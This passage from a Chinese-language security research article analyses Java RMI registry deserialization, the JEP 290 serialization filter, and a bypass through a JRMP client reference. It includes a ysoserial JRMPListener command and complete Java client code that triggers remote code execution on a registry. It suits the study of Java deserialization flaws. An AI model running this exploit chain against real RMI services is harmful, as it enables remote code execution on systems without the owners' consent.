at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:378)
at sun.rmi.registry.RegistryImpl_Stub.bind(Unknown Source)
at Client.main(Client.java:55)
這一段即注冊中心傳遞過來的錯誤,我們先看看當注冊中心處理請求時,遇到報錯的處理方式,前面說了,注冊中心會在處理請求時,會調用到UnicastServerRef#dispatch來處理請求,這里會調用RegistryImpl_Skel#dispatch來處理請求:

重點關注紅框框起來的這幾段,首先是把異常賦值給了var6,之后會獲取到當前socket連接到outputstream,然后寫入異常,之后通過finally后邊的兩段代碼把數據回傳給客戶端。
這里應該很好理解,難點是我們要如何手動的拋出一個異常,并把命令執行的結果帶入異常中。
本來想找一找有沒有辦法可以實現不通過throws來拋出異常,但是似乎沒有辦法。。所以只能通過網上流傳的POC,用URLClassLoader的方式來加載類。
當通過bind方法讓注冊中心反序列化我們的惡意序列化對象時,即可觸發命令執行,通過URLClassLoader的方式加載遠程jar,并調用其方法,在方法內拋出錯誤,錯誤會傳回客戶端。

參考:https://xz.aliyun.com/t/2223
在做這個的時候遇到了一點問題,python自啟的服務器不知道為什么沒法成功被加載,只能用vps,第二個問題就是java版本的問題,如果服務器的jdk版本太高,編譯的jar時用的jdk版本太低,就無法兼容,會報出一個java.lang.UnsupportedClassVersionError的錯誤。
針對RMI反序列化JDK做的一些調整
bind && unbind && rebind
前面說了,在低版本JDK中,是可以注冊中心和服務端不在一臺服務器上的。
在后邊修了第一次,在RegistryImpl#bind中添加了一個checkAccess方法,來檢驗你的來源是否為localhost。

此時我們雖然不能在注冊中心注冊服務,然而還是可以成功反序列化。這是因為注冊中心在調用RegistryImpl#bind方法前就已經將我們傳來的數據反序列化了。

而在JDK8u141后,又修了一次,這次徹底解決掉在bind時反序列化的問題。

JEP 290 & 繞過JEP290進行攻擊
什么是JEP290
JEP290是Java為了應對反序列化而設置的一種過濾器,理想狀態是讓開發者只反序列化其想反序列化的類,這樣我們使用類似CC這樣的,就會因為無法反序列化Tranformer、HashMap等,從而沒法觸發漏洞。
JEP290中對RMI設置了默認的過濾器(sun.rmi.registry.RegistryImpl#registryFilter):
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
}
}
}
}
從代碼中可以發現,這個過濾器設置了白名單,他會判斷你要反序列化的類(或者反序列化類的父類)是否在以下列表中(僅用于RmiRegistry):
String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
如果不在,則會標記為REJECTED,此時不會反序列化成功,反之則標記為ALLOWED,此時則可以反序列化成功。
JEP290本身是JDK9的產物,但是Oracle官方做了向下移植的處理,把JEP290的機制移植到了以下三個版本以及其修復后的版本中:
- Java? SE Development Kit 8, Update 121 (JDK 8u121)
- Java? SE Development Kit 7, Update 131 (JDK 7u131)
- Java? SE Development Kit 6, Update 141 (JDK 6u141)
參考:JEP 290: Filter Incoming Serialization Data
調用棧
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
這里我們要明白的是,JEP290是一種機制,并不是特意為RMI準備的,之是其默認對RMI設置了過濾器,所以才會對RMI的反序列化造成影響。
從上述調用棧中可以發現,實際上是在反序列化時,會調用到readObject,而JEP290的方式,是在readObject中新增了一個filter,在filter中進行過濾。

這里首先會判斷有沒有設置filter,如果有的話,則調用checkInput方法進行驗證,如果驗證不通過則直接另status為REJECTED,此時則無法正常進行反序列化。由于是內置在readObject里的,所以任何類反序列化時都會調用到這個檢查。這也是為什么他會遞歸所有對象成員進行檢查的原因。
接著我們需要找一下RMI中是如何設置filter的,這個點我找了好久,也是因為自己太不仔細的原因,JEP290是需要人工自己去設置的,而我找在哪設置filter,就是想知道為什么其他地方的readObject不需要調用這個filter進行檢查,也就是想搞明白我是在哪一次反序列化會調用到這個filter進行檢查。
可以先看下網上說的:


這里說了給了兩種方案來設置,第一種不是,那自然就是第二種,通過setObjectInputFilter來設置filter,我下載了jdk8u131中rt.jar包的內容,丟到jadx反編譯,可以搜到這個關鍵字:

最后一行UnicastServerRef應該很熟悉,但是當時沒記起來,導致卡了好半天...,跟入這個函數:
UnicastServerRef#unmarshalCustomCallData

在這里可以發現,他設置UnicastServerRef的filter變量作為objectInput的filter,接著可以找在哪設置了UnicastServerRef的filter變量:

在創建注冊中心時,將前邊說的registryFilter傳入進去,而8u121之后的修復版本中,UnicastServerRef多了一個構造方法:

這個構造方法用于設置filter變量。
接著就是找unmarshalCustomCallData這個點在哪被調用了:
UnicastServerRef#olddispatch

在這里調用了unmarshalCustomCallData方法,為socket傳來的inputStream設置了filter,當inputStream反序列化時,就會調用這個filter進行過濾。這里是客戶端或服務端遠程獲取注冊中心時,觸發RegistryImpl_Skel的最后一步,下面會直接進入RegistryImpl_Skel#dispatch去反序列化對象:

在這里,會讀取剛剛設置過filter的inputStream,并反序列化,此時filter已經設置上了,所以這也是我們沒有辦法用之前的鏈直接打注冊中心的原因。
對比一下7u80和8u131獲取到的Registry有什么不同:
- 7u80

- 8u131

不難發現在8u131多了一個filter和幾個無關變量,至此,反序列化時為什么會觸發filter,在哪設置的filter都已經搞清楚了,接下來就是如何繞過了。
參考:Java反序列化之readObject分析、Java RMI反序列化知識詳解
ByPass JEP290-RMI
測試環境
- JDK 8u131
如果想要在RMI中Bypass JEP290的限制,思路很明確,我們需要從上面白名單的類或者他們的子類中尋找復寫readObject利用點。
UnicastServerRef(JDK<=8u231)
我們通過getRegistry時獲得的注冊中心,其實就是一個封裝了UnicastServerRef對象的對象:

當我們調用bind方法后,會通過UnicastRef對象中存儲的信息與注冊中心進行通信:

這里會通過ref與注冊中心通信,并將綁定的對象名稱以及要綁定的遠程對象發過去,注冊中心在后續會對應進行反序列化,這個前面說過了,就不再重復了。
寫上面這一段并不是想寫如何攻擊客戶端,而是想說明,注冊中心、客戶端兩者之間的通信是依賴于UnicastRef中的LiveRef的。
接著來看看yso中的JRMPClient:
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
這里返回了一個代理對象,上面用的這些類都在白名單里,當注冊中心反序列化時,會調用到RemoteObjectInvacationHandler父類RemoteObject的readObject方法(因為RemoteObjectInvacationHandler沒有readObject方法),在readObject里的最后一行會調用ref.readExternal方法,并將ObjectInputStream傳進去:
ref.readExternal(in);
UnicastRef#readExternal
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}
LiveRef#read:

這里在上邊會把LiveRef對象還原,LiveRef對象中存了我們序列化進去的ip和端口,之后會調用DGCClient#registerRefs,但是不是在這里調用,是在外邊經過一系列轉換之后才會調到。

var這里轉回來的是一個DGCClient對象,里邊同樣封裝了我們的端口信息,重點關注registerRefs:

這里會調到DGCClient#makeDirtyCall,并把var2傳進去,var2里封裝了我們的endpoint信息,繼續跟:

這里會進到dirty方法中,var4是我們傳進去的ObjID對象,var2不知道是什么,var1是一個HashSet對象,里邊存了我們的Endpoint信息。
dirty函數應該很熟悉了:

看到這個函數的代碼有木有感覺很熟悉,在客戶端與服務端進行通信時,也會調用這么一個類似的方法,var6寫入的兩個Object是否就像是當時客戶端調用服務端遠程對象的方法時寫入的方法名以及參數是一樣的?
這里wirteObject后,會用invoke將數據發出去,接著看下邊的代碼:

這里從socket連接中先讀取了輸入,然后直接反序列化,此時的反序列化并沒有設置filter,所以這里可以直接導致注冊中心rce,只要我們可以偽造一個socket連接并不把我們惡意序列化的對象發過去。
yso已經替我們做好了這一切,我們可以直接使用命令起一個惡意的服務端:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "COMMAND"
這里的cc要用對應版本可以用的,這里指的對應版本是jdk8,cc1在jdk8就不可用,所以要選其他鏈,當我們起了惡意的服務端后,用客戶端發起一個bind請求,即可觸發反序列化,從而觸發RCE:


對應的客戶端代碼:
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
public class Client {
public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
Registry reg = LocateRegistry.getRegistry("localhost",8888);
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
reg.bind("test12",proxy);
}
}
這里用bind方法只是舉個例子,任意能讓客戶端反序列化我們傳過去的數據的方法都是ok的,比如lookup、unbind、rebind等。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1251/
暫無評論